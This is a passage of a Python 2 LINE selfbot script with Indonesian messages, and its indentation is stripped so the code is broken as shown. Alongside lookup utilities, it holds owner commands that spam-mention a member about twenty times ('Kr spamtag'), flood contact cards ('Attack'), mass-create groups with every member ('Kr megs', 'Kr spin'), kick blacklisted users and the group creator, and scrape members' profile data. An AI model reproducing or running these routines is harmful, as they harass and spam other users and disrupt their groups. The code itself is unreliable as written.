url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26111931_131462894312934_151942458148573227_n.jpg?oh=2b0473a6caf4446df430180a47ca3355&oe=5AC37B56"
kr1.sendImageWithURL(msg.to, url)
elif msg.text in ["Team","Logo"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26168676_131451404314083_3952554270011807487_n.jpg?oh=6e90aa78daaf5e06b1078bbf15d5aa0f&oe=5AB9882D"
url1 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26165506_131451400980750_8433498092579272217_n.jpg?oh=c85beaa35a6f5babd638edeaac9bccaa&oe=5AF760B2"
url2 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26168227_131451417647415_680587542176648285_n.jpg?oh=e714a97fec8d8c1e178ab6c0a3ca39cf&oe=5AC96AD3"
url3 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26195387_131462840979606_8781956575640573461_n.jpg?oh=27ba5e875917c20df7dd8916bdd64847&oe=5ABB27F4"
url4 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26111928_131462844312939_2544207656543605714_n.jpg?oh=0fac796564e963d8b573826263bbc6c7&oe=5AFA67A8"
url5 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26219732_131462837646273_1213898565647052451_n.jpg?oh=c5a8bcce115cdab488bde1b8e981e5dd&oe=5AC3A96E"
url6 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26167549_131462897646267_3496884138024907307_n.jpg?oh=edc63b98f790e9bf2cbb57dce7df9b25&oe=5AB0DDF6"
url7 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26111931_131462894312934_151942458148573227_n.jpg?oh=2b0473a6caf4446df430180a47ca3355&oe=5AC37B56"
kr1.sendImageWithURL(msg.to, url)
kr1.sendImageWithURL(msg.to, url1)
kr1.sendImageWithURL(msg.to, url2)
kr1.sendImageWithURL(msg.to, url3)
kr1.sendImageWithURL(msg.to, url4)
kr1.sendImageWithURL(msg.to, url5)
kr1.sendImageWithURL(msg.to, url6)
kr1.sendImageWithURL(msg.to, url7)
elif msg.text in ["Kibar","kibar"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26168676_131451404314083_3952554270011807487_n.jpg?oh=6e90aa78daaf5e06b1078bbf15d5aa0f&oe=5AB9882D"
url1 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26165506_131451400980750_8433498092579272217_n.jpg?oh=c85beaa35a6f5babd638edeaac9bccaa&oe=5AF760B2"
url6 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26167549_131462897646267_3496884138024907307_n.jpg?oh=edc63b98f790e9bf2cbb57dce7df9b25&oe=5AB0DDF6"
url7 = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26111931_131462894312934_151942458148573227_n.jpg?oh=2b0473a6caf4446df430180a47ca3355&oe=5AC37B56"
kr1.sendImageWithURL(msg.to, url)
kr1.sendImageWithURL(msg.to, url1)
kr1.sendImageWithURL(msg.to, url6)
kr1.sendImageWithURL(msg.to, url7)
#================================ KRIS SCRIPT STARTED ==============================================#
elif "google " in msg.text:
if msg.from_ in admin:
a = msg.text.replace("google ","")
b = urllib.quote(a)
kr1.sendText(msg.to,"Sedang Mencari om...")
kr1.sendText(msg.to, "https://www.google.com/" + b)
kr1.sendText(msg.to,"Ketemu om ^")
elif cms(msg.text,["creator","Creator"]):
msg.contentType = 13
msg.contentMetadata = {'mid': "ueacedbe88bf6e2c5cf6188b3a4a26e18"}
kr1.sendMessage(msg)
elif "friendpp: " in msg.text:
if msg.from_ in admin:
suf = msg.text.replace('friendpp: ','')
gid = kr1.getAllContactIds()
for i in gid:
h = kr1.getContact(i).displayName
gna = kr1.getContact(i)
if h == suf:
kr1.sendImageWithURL(msg.to,"http://dl.profile.line.naver.jp/"+ gna.pictureStatus)
elif "Checkmid: " in msg.text:
if msg.from_ in admin:
saya = msg.text.replace("Checkmid: ","")
msg.contentType = 13
msg.contentMetadata = {"mid":saya}
kr1.sendMessage(msg)
contact = kr1.getContact(saya)
cu = kr1.channel.getCover(saya)
path = str(cu)
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
try:
kr1.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nBio :\n" + contact.statusMessage)
kr1.sendText(msg.to,"Profile Picture " + contact.displayName)
kr1.sendImageWithURL(msg.to,image)
kr1.sendText(msg.to,"Cover " + contact.displayName)
kr1.sendImageWithURL(msg.to,path)
except:
pass
elif "Checkid: " in msg.text:
if msg.from_ in admin:
saya = msg.text.replace("Checkid: ","")
gid = kr1.getGroupIdsJoined()
for i in gid:
h = kr1.getGroup(i).id
group = kr1.getGroup(i)
if h == saya:
try:
creator = group.creator.mid
msg.contentType = 13
msg.contentMetadata = {'mid': creator}
md = "Nama Grup :\n" + group.name + "\n\nID Grup :\n" + group.id
if group.preventJoinByTicket is False: md += "\n\nKode Url : Diizinkan"
else: md += "\n\nKode Url : Diblokir"
if group.invitee is None: md += "\nJumlah Member : " + str(len(group.members)) + " Orang" + "\nUndangan Yang Belum Diterima : 0 Orang"
else: md += "\nJumlah Member : " + str(len(group.members)) + " Orang" + "\nUndangan Yang Belum Diterima : " + str(len(group.invitee)) + " Orang"
kr1.sendText(msg.to,md)
kr1.sendMessage(msg)
kr1.sendImageWithURL(msg.to,"http://dl.profile.line.naver.jp/"+ group.pictureStatus)
except:
creator = "Error"
elif msg.text in ["Friendlist"]:
if msg.from_ in owner:
contactlist = kr1.getAllContactIds()
kontak = kr1.getContacts(contactlist)
num=1
msgs="═════════List Friend═════════"
for ids in kontak:
msgs+="\n[%i] %s" % (num, ids.displayName)
num=(num+1)
msgs+="\n═════════List Friend═════════\n\nTotal Friend : %i" % len(kontak)
kr1.sendText(msg.to, msgs)
elif msg.text in ["Memlist"]:
if msg.from_ in owner:
kontak = kr1.getGroup(msg.to)
group = kontak.members
num=1
msgs="═════════List Member═════════-"
for ids in group:
msgs+="\n[%i] %s" % (num, ids.displayName)
num=(num+1)
msgs+="\n═════════List Member═════════\n\nTotal Members : %i" % len(group)
kr1.sendText(msg.to, msgs)
elif "Friendinfo: " in msg.text:
if msg.from_ in owner:
saya = msg.text.replace('Friendinfo: ','')
gid = kr1.getAllContactIds()
for i in gid:
h = kr1.getContact(i).displayName
contact = kr1.getContact(i)
cu = kr1.channel.getCover(i)
path = str(cu)
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
if h == saya:
kr1.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nBio :\n" + contact.statusMessage)
kr1.sendText(msg.to,"Profile Picture " + contact.displayName)
kr1.sendImageWithURL(msg.to,image)
kr1.sendText(msg.to,"Cover " + contact.displayName)
kr1.sendImageWithURL(msg.to,path)
elif "Friendpict: " in msg.text:
if msg.from_ in owner:
saya = msg.text.replace('Friendpict: ','')
gid = kr1.getAllContactIds()
for i in gid:
h = kr1.getContact(i).displayName
gna = kr1.getContact(i)
if h == saya:
kr1.sendImageWithURL(msg.to,"http://dl.profile.line.naver.jp/"+ gna.pictureStatus)
elif msg.text in ["Friendlistmid"]:
if msg.from_ in owner:
gruplist = kr1.getAllContactIds()
kontak = kr1.getContacts(gruplist)
num=1
msgs="═════════ʆίςϯ ƒɾίεηδʍίδ═════════"
for ids in kontak:
msgs+="\n[%i] %s" % (num, ids.mid)
num=(num+1)
msgs+="\n═════════ʆίςϯ ƒɾίεηδʍίδ═════════\n\nTotal Friend : %i" % len(kontak)
kr1.sendText(msg.to, msgs)
elif msg.text in ["Blocklist"]:
if msg.from_ in admin:
blockedlist = kr1.getBlockedContactIds()
kontak = kr1.getContacts(blockedlist)
num=1
msgs="═════════List Blocked═════════"
for ids in kontak:
msgs+="\n[%i] %s" % (num, ids.displayName)
num=(num+1)
msgs+="\n═════════List Blocked═════════\n\nTotal Blocked : %i" % len(kontak)
kr1.sendText(msg.to, msgs)
elif msg.text in ["Gruplist"]:
if msg.from_ in admin:
gruplist = kr1.getGroupIdsJoined()
kontak = kr1.getGroups(gruplist)
num=1
msgs="═════════List Grup═════════"
for ids in kontak:
msgs+="\n[%i] %s" % (num, ids.name)
num=(num+1)
msgs+="\n═════════List Grup═════════\n\nTotal Grup : %i" % len(kontak)
kr1.sendText(msg.to, msgs)
elif msg.text in ["Gruplistmid"]:
if msg.from_ in owner:
gruplist = kr1.getGroupIdsJoined()
kontak = kr1.getGroups(gruplist)
num=1
msgs="═════════List GrupMid═════════"
for ids in kontak:
msgs+="\n[%i] %s" % (num, ids.id)
num=(num+1)
msgs+="\n═════════List GrupMid═════════\n\nTotal Grup : %i" % len(kontak)
kr1.sendText(msg.to, msgs)
elif "Grupimage: " in msg.text:
if msg.from_ in admin:
saya = msg.text.replace('Grupimage: ','')
gid = kr1.getGroupIdsJoined()
for i in gid:
h = kr1.getGroup(i).name
gna = kr1.getGroup(i)
if h == saya:
kr1.sendImageWithURL(msg.to,"http://dl.profile.line.naver.jp/"+ gna.pictureStatus)
elif "Grupname" in msg.text:
if msg.from_ in admin:
saya = msg.text.replace('Grupname','')
gid = kr1.getGroup(msg.to)
kr1.sendText(msg.to, "[Nama Grup : ]\n" + gid.name)
elif "Grupid" in msg.text:
if msg.from_ in admin:
saya = msg.text.replace('Grupid','')
gid = kr1.getGroup(msg.to)
kr1.sendText(msg.to, "[ID Grup : ]\n" + gid.id)
elif "Grupinfo: " in msg.text:
if msg.from_ in admin:
saya = msg.text.replace('Grupinfo: ','')
gid = kr1.getGroupIdsJoined()
for i in gid:
h = kr1.getGroup(i).name
group = kr1.getGroup(i)
if h == saya:
try:
creator = group.creator.mid
msg.contentType = 13
msg.contentMetadata = {'mid': creator}
md = "Nama Grup :\n" + group.name + "\n\nID Grup :\n" + group.id
if group.preventJoinByTicket is False: md += "\n\nKode Url : Diizinkan"
else: md += "\n\nKode Url : Diblokir"
if group.invitee is None: md += "\nJumlah Member : " + str(len(group.members)) + " Orang" + "\nUndangan Yang Belum Diterima : 0 Orang"
else: md += "\nJumlah Member : " + str(len(group.members)) + " Orang" + "\nUndangan Yang Belum Diterima : " + str(len(group.invitee)) + " Orang"
kr1.sendText(msg.to,md)
kr1.sendMessage(msg)
kr1.sendImageWithURL(msg.to,"http://dl.profile.line.naver.jp/"+ group.pictureStatus)
except:
creator = "Error"
# elif "Spamtag @" in msg.text:
# _name = msg.text.replace("Spamtag @","")
# _nametarget = _name.rstrip(' ')
# gs = kr1.getGroup(msg.to)
# for g in gs.members:
# if _nametarget == g.displayName:
# xname = g.displayName
# xlen = str(len(xname)+1)
# msg.contentType = 0
# msg.text = "@"+xname+" "
# msg.contentMetadata ={"MENTION":'{"MENTIONEES":[{"S":"0","E":'+json.dumps(xlen)+',"M":'+json.dumps(g.mid)+'}]}','EMTVER':'4'}
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# kr1.sendMessage(msg)
# print "Spamtag Berhasil."
elif "playstore " in msg.text.lower():
if msg.from_ in admin:
tob = msg.text.lower().replace("playstore ","")
kr1.sendText(msg.to,"Sedang Mencari boss...")
kr1.sendText(msg.to,"Title : "+tob+"\nSource : Google Play\nLinknya : https://play.google.com/store/search?q=" + tob)
kr1.sendText(msg.to,"Ketemu boss ^")
elif 'wikipedia ' in msg.text.lower():
if msg.from_ in admin:
try:
wiki = msg.text.lower().replace("wikipedia ","")
wikipedia.set_lang("id")
pesan="Title ("
pesan+=wikipedia.page(wiki).title
pesan+=")\n\n"
pesan+=wikipedia.summary(wiki, sentences=3)
pesan+="\n"
pesan+=wikipedia.page(wiki).url
kr1.sendText(msg.to, pesan)
except:
try:
pesan="Teks nya kepanjangan! ketik link dibawah aja\n"
pesan+=wikipedia.page(wiki).url
kr1.sendText(msg.to, pesan)
except Exception as e:
kr1.sendText(msg.to, str(e))
elif "say " in msg.text.lower():
if msg.from_ in admin:
say = msg.text.lower().replace("say ","")
lang = 'id'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
kr1.sendAudio(msg.to,"hasil.mp3")
elif msg.text in ["Gift 8","Gift8","gift8"]:
if msg.from_ in admin:
msg.contentType = 9
msg.contentMetadata={'PRDID': 'ae3d9165-fab2-4e70-859b-c14a9d4137c4',
'PRDTYPE': 'THEME',
'MSGTPL': '8'}
msg.text = None
kr1.sendMessage(msg)
kr1.sendMessage(msg)
msg.contentType = 9
msg.contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58',
'PRDTYPE': 'THEME',
'MSGTPL': '5'}
msg.text = None
kr1.sendMessage(msg)
kr1.sendMessage(msg)
msg.contentType = 9
msg.contentMetadata={'PRDID': '696d7046-843b-4ed0-8aac-3113ed6c0733',
'PRDTYPE': 'THEME',
'MSGTPL': '6'}
msg.text = None
kr1.sendMessage(msg)
kr1.sendMessage(msg)
msg.contentType = 9
msg.contentMetadata={'PRDID': '8fe8cdab-96f3-4f84-95f1-6d731f0e273e',
'PRDTYPE': 'THEME',
'MSGTPL': '7'}
msg.text = None
kr1.sendMessage(msg)
kr1.sendMessage(msg)
elif msg.text in ["Gift","gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58',
'PRDTYPE': 'THEME',
'MSGTPL': '5'}
msg.text = None
kr1.sendMessage(msg)
elif msg.text in ["Gift1"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '696d7046-843b-4ed0-8aac-3113ed6c0733',
'PRDTYPE': 'THEME',
'MSGTPL': '6'}
msg.text = None
kr1.sendMessage(msg)
elif msg.text in ["Gift2"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '8fe8cdab-96f3-4f84-95f1-6d731f0e273e',
'PRDTYPE': 'THEME',
'MSGTPL': '7'}
msg.text = None
kr1.sendMessage(msg)
elif msg.text in ["Gift3"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': 'ae3d9165-fab2-4e70-859b-c14a9d4137c4',
'PRDTYPE': 'THEME',
'MSGTPL': '8'}
msg.text = None
kr1.sendMessage(msg)
elif msg.text in ["Gcreator:inv"]:
if msg.from_ in admin:
ginfo = kr1.getGroup(msg.to)
gCreator = ginfo.creator.mid
try:
kr1.findAndAddContactsByMid(gCreator)
kr1.inviteIntoGroup(msg.to,[gCreator])
print "success inv gCreator"
except:
pass
elif msg.text in ["Gcreator:kick"]:
if msg.from_ in admin:
ginfo = kr1.getGroup(msg.to)
gCreator = ginfo.creator.mid
try:
kr1.findAndAddContactsByMid(gCreator)
kr1.kickoutFromGroup(msg.to,[gCreator])
print "success inv gCreator"
except:
pass
elif 'lirik ' in msg.text.lower():
if msg.from_ in admin:
try:
songname = msg.text.lower().replace('lirik ','')
params = {'songname': songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
hasil = 'Lyric Lagu ('
hasil += song[0]
hasil += ')\n\n'
hasil += song[5]
kr1.sendText(msg.to, hasil)
except Exception as wak:
kr1.sendText(msg.to, str(wak))
elif "Getcover @" in msg.text:
if msg.from_ in admin:
print "[Command]dp executing"
_name = msg.text.replace("Getcover @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr2.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = kr1.getContact(target)
cu = kr1.channel.getCover(target)
path = str(cu)
kr1.sendImageWithURL(msg.to, path)
except:
pass
print "[Command]dp executed"
elif "idline: " in msg.text:
if msg.from_ in admin:
msgg = msg.text.replace('idline: ','')
conn = kr1.findContactsByUserid(msgg)
if True:
msg.contentType = 13
msg.contentMetadata = {'mid': conn.mid}
kr1.sendText(msg.to,"http://line.me/ti/p/~" + msgg)
kr1.sendMessage(msg)
elif "reinvite" in msg.text.split():
if msg.from_ in admin:
if msg.toType == 2:
group = kr1.getGroup(msg.to)
if group.invitee is not None:
try:
grCans = [contact.mid for contact in group.invitee]
kr1.findAndAddContactByMid(msg.to, grCans)
kr1.cancelGroupInvitation(msg.to, grCans)
kr1.inviteIntoGroup(msg.to, grCans)
except Exception as error:
print error
else:
if wait["lang"] == "JP":
kr1.sendText(msg.to,"No Invited")
else:
kr1.sendText(msg.to,"Error")
else:
pass
elif msg.text.lower() == 'runtime':
eltime = time.time() - mulai
van = "Bot sudah berjalan selama "+waktu(eltime)
kr1.sendText(msg.to,van)
elif msg.text in ["Restart"]:
if msg.from_ in owner:
kr1.sendText(msg.to, "Bot has been restarted")
restart_program()
print "@Restart"
elif msg.text in ["time"]:
timeNow = datetime.now()
timeHours = datetime.strftime(timeNow,"(%H:%M)")
day = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday","Friday", "Saturday"]
hari = ["Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu"]
bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"]
inihari = datetime.today()
hr = inihari.strftime('%A')
bln = inihari.strftime('%m')
for i in range(len(day)):
if hr == day[i]: hasil = hari[i]
for k in range(0, len(bulan)):
if bln == str(k): bln = bulan[k-1]
rst = hasil + ", " + inihari.strftime('%d') + " - " + bln + " - " + inihari.strftime('%Y') + "\nJam : [ " + inihari.strftime('%H:%M:%S') + " ]"
kr1.sendText(msg.to, rst)
elif "image " in msg.text:
if msg.from_ in admin:
search = msg.text.replace("image ","")
url = 'https://www.google.com/search?espv=2&biw=1366&bih=667&tbm=isch&oq=kuc&aqs=mobile-gws-lite.0.0l5&q=' + search
raw_html = (download_page(url))
items = []
items = items + (_images_get_all_items(raw_html))
path = random.choice(items)
print path
try:
kr1.sendImageWithURL(msg.to,path)
except:
pass
elif 'instagram ' in msg.text.lower():
if msg.from_ in admin:
try:
instagram = msg.text.lower().replace("instagram ","")
html = requests.get('https://www.instagram.com/' + instagram + '/?')
soup = BeautifulSoup(html.text, 'html5lib')
data = soup.find_all('meta', attrs={'property':'og:description'})
text = data[0].get('content').split()
data1 = soup.find_all('meta', attrs={'property':'og:image'})
text1 = data1[0].get('content').split()
user = "Name: " + text[-2] + "\n"
user1 = "Username: " + text[-1] + "\n"
followers = "Followers: " + text[0] + "\n"
following = "Following: " + text[2] + "\n"
post = "Post: " + text[4] + "\n"
link = "Link: " + "https://www.instagram.com/" + instagram
detail = "**INSTAGRAM INFO USER**\n"
details = "\n**INSTAGRAM INFO USER**"
kr1.sendText(msg.to, detail + user + user1 + followers + following + post + link + details)
kr1.sendImageWithURL(msg.to, text1[0])
except Exception as njer:
kr1.sendText(msg.to, str(njer))
elif msg.text in ["Attack"]:
if msg.from_ in owner:
msg.contentType = 13
msg.contentMetadata = {'mid': "ueacedbe88bf6e2c5cf6188b3a4a26e18',"}
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
elif msg.text.lower() == '...':
if msg.from_ in owner:
msg.contentType = 13
msg.contentMetadata = {'mid': "ueacedbe88bf6e2c5cf6188b3a4a26e18',"}
kr1.sendMessage(msg)
#=================================KRIS SCRIPT FINISHED =============================================#
elif "Ban @" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
_name = msg.text.replace("Ban @","")
_nametarget = _name.rstrip()
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,_nametarget + " Not Found")
else:
for target in targets:
try:
wait["blacklist"][target] = True
kr1.sendText(msg.to,_nametarget + " Succes Add to Blacklist")
except:
kr1.sendText(msg.to,"Error")
elif "Unban @" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
_name = msg.text.replace("Unban @","")
_nametarget = _name.rstrip()
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,_nametarget + " Not Found")
else:
for target in targets:
try:
del wait["blacklist"][target]
kr1.sendText(msg.to,_nametarget + " Delete From Blacklist")
except:
kr1.sendText(msg.to,_nametarget + " Not In Blacklist")
elif "Ban:" in msg.text:
if msg.from_ in admin:
nk0 = msg.text.replace("Ban:","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("","")
nk3 = nk2.rstrip()
_name = nk3
gs = kr1.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
wait["blacklist"][target] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
kr1.sendText(msg.to,_name + " Succes Add to Blacklist")
except:
kr1.sendText(msg.to,"Error")
elif "Unban:" in msg.text:
if msg.from_ in admin:
nk0 = msg.text.replace("Unban:","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("","")
nk3 = nk2.rstrip()
_name = nk3
gs = kr1.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
del wait["blacklist"][target]
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
kr1.sendText(msg.to,_name + " Delete From Blacklist")
except:
kr1.sendText(msg.to,_name + " Not In Blacklist")
elif msg.text in ["Clear"]:
if msg.from_ in admin:
wait["blacklist"] = {}
kr1.sendText(msg.to,"Blacklist Telah Dibersihkan")
elif msg.text in ["Ban:on"]:
if msg.from_ in admin:
wait["wblacklist"] = True
kr1.sendText(msg.to,"Send Contact")
elif msg.text in ["Unban:on"]:
if msg.from_ in admin:
wait["dblacklist"] = True
kr1.sendText(msg.to,"Send Contact")
elif msg.text in ["Banlist"]:
if msg.from_ in admin:
if wait["blacklist"] == {}:
kr1.sendText(msg.to,"Tidak Ada Blacklist")
else:
kr1.sendText(msg.to,"Daftar Banlist")
num=1
msgs="*Blacklist*"
for mi_d in wait["blacklist"]:
msgs+="\n[%i] %s" % (num, kr1.getContact(mi_d).displayName)
num=(num+1)
msgs+="\n*Blacklist*\n\nTotal Blacklist : %i" % len(wait["blacklist"])
kr1.sendText(msg.to, msgs)
elif msg.text in ["Conban","Contactban","Contact ban"]:
if msg.from_ in admin:
if wait["blacklist"] == {}:
kr1.sendText(msg.to,"Tidak Ada Blacklist")
else:
kr1.sendText(msg.to,"Daftar Blacklist")
h = ""
for i in wait["blacklist"]:
h = kr1.getContact(i)
M = Message()
M.to = msg.to
M.contentType = 13
M.contentMetadata = {'mid': i}
kr1.sendMessage(M)
elif msg.text in ["Midban","Mid ban"]:
if msg.from_ in admin:
if msg.toType == 2:
group = kr1.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
num=1
cocoa = "══════════List Blacklist═════════"
for mm in matched_list:
cocoa+="\n[%i] %s" % (num, mm)
num=(num+1)
cocoa+="\n═════════List Blacklist═════════\n\nTotal Blacklist : %i" % len(matched_list)
kr1.sendText(msg.to,cocoa)
elif msg.text.lower() == 'scan blacklist':
if msg.from_ in admin:
if msg.toType == 2:
group = kr1.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
if matched_list == []:
kr1.sendText(msg.to,"Tidak ada Daftar Blacklist")
return
for jj in matched_list:
try:
kr1.kickoutFromGroup(msg.to,[jj])
print (msg.to,[jj])
except:
pass
#==============================================#
if op.type == 26:
msg = op.message
if msg.contentType == 13:
if wait["wblack"] == True:
if msg.contentMetadata["mid"] in wait["commentBlack"]:
kr1.sendText(msg.to,"already")
wait["wblack"] = False
else:
wait["commentBlack"][msg.contentMetadata["mid"]] = True
wait["wblack"] = False
kr1.sendText(msg.to,"decided not to comment")
#--------------------------------------------------------
elif msg.text is None:
return
#--------------------------------------------------------
elif "Kr spamtag @" in msg.text:
if msg.from_ in owner:
_name = msg.text.replace("Kr spamtag @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
xname = g.displayName
xlen = str(len(xname)+1)
msg.contentType = 0
msg.text = "@"+xname+" "
msg.contentMetadata ={"MENTION":'{"MENTIONEES":[{"S":"0","E":'+json.dumps(xlen)+',"M":'+json.dumps(g.mid)+'}]}','EMTVER':'4'}
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
kr1.sendMessage(msg)
else:
pass
elif ("Kr cium " in msg.text):
if msg.from_ in owner:
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"] [0] ["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
kr1.kickoutFromGroup(msg.to,[target])
#kr1.inviteIntoGroup(msg.to,[target])
kr1.cancelGroupInvitation(msg.to,[target])
except:
kr1.sendText(msg.to,"Error")
elif msg.text in ["Kr glist"]: #Melihat List Group
if msg.from_ in owner:
gids = kr1.getGroupIdsJoined()
h = ""
for i in gids:
#####gn = kr1.getGroup(i).name
h += "[•]%s Member\n" % (kr1.getGroup(i).name +"👉"+str(len(kr1.getGroup(i).members)))
kr1.sendText(msg.to,"=======[List Group]======\n"+ h +"Total Group :"+str(len(gids)))
elif msg.text in ["Kr glist2"]:
if msg.from_ in owner:
gid = kr1.getGroupIdsJoined()
h = ""
for i in gid:
h += "[%s]:%s\n" % (kr1.getGroup(i).name,i)
kr1.sendText(msg.to,h)
elif "Kr asupka " in msg.text:
if msg.from_ in owner:
gid = msg.text.replace("Kr asupka ","")
if gid == "":
kr1.sendText(msg.to,"Invalid group id")
else:
try:
kr1.findAndAddContactsByMid(msg.from_)
kr1.inviteIntoGroup(gid,[msg.from_])
kr1.sendText(msg.to,"succes di invite boss, silahkan masuk...!!")
except:
kr1.sendText(msg.to,"Mungkin saya tidak di dalaam grup itu")
elif "Kr bye" in msg.text:
if msg.from_ in owner:
if msg.toType == 2:
ginfo = kr1.getGroup(msg.to)
try:
kr1.leaveGroup(msg.to)
except:
pass
elif "Kr megs " in msg.text:
if msg.from_ in owner:
gName = msg.text.replace("Kr megs ","")
ap = kr1.getGroups([msg.to])
semua = [contact.mid for contact in ap[0].members]
nya = ap[0].members
for a in nya:
Mi_d = str(a.mid)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
elif "#megs " in msg.text:
if msg.from_ in owner:
gName = msg.text.replace("#megs ","")
ap = kr1.getGroups([msg.to])
semua = findAndAddContactsByMid(Mi_d)
nya = ap[0].members
for a in nya:
Mi_d = str(a.mid)
klis=[kr]
team=random.choice(klis)
kr1.findAndAddContactsByMid(Mi_d)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
kr1.createGroup(gName, semua)
team.findAndAddContactsByMid(Mi_d)
team.createGroup(gName, semua)
team.createGroup(gName, semua)
team.createGroup(gName, semua)
team.createGroup(gName, semua)
team.createGroup(gName, semua)
team.createGroup(gName, semua)
elif "recover" in msg.text:
if msg.from_ in owner:
thisgroup = kr1.getGroups([msg.to])
Mids = [contact.mid for contact in thisgroup[0].members]
mi_d = Mids[:33]
kr1.createGroup("recover", mi_d)
kr1.sendText(msg.to,"Success recover")
elif "Kr spin" in msg.text:
if msg.from_ in owner:
thisgroup = kr1.getGroups([msg.to])
Mids = [contact.mid for contact in thisgroup[0].members]
mi_d = Mids[:33]
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.createGroup("Nah kan", mi_d)
kr1.sendText(msg.to,"Success...!!!!")
elif msg.text in ["Remove all chat"]:
if msg.from_ in owner:
kr1.removeAllMessages(op.param2)
kr1.removeAllMessages(op.param2)
kr1.sendText(msg.to,"Removed all chat Finish")
elif msg.text in ["Kr muach"]:
if msg.from_ in owner:
msg.contentType = 13
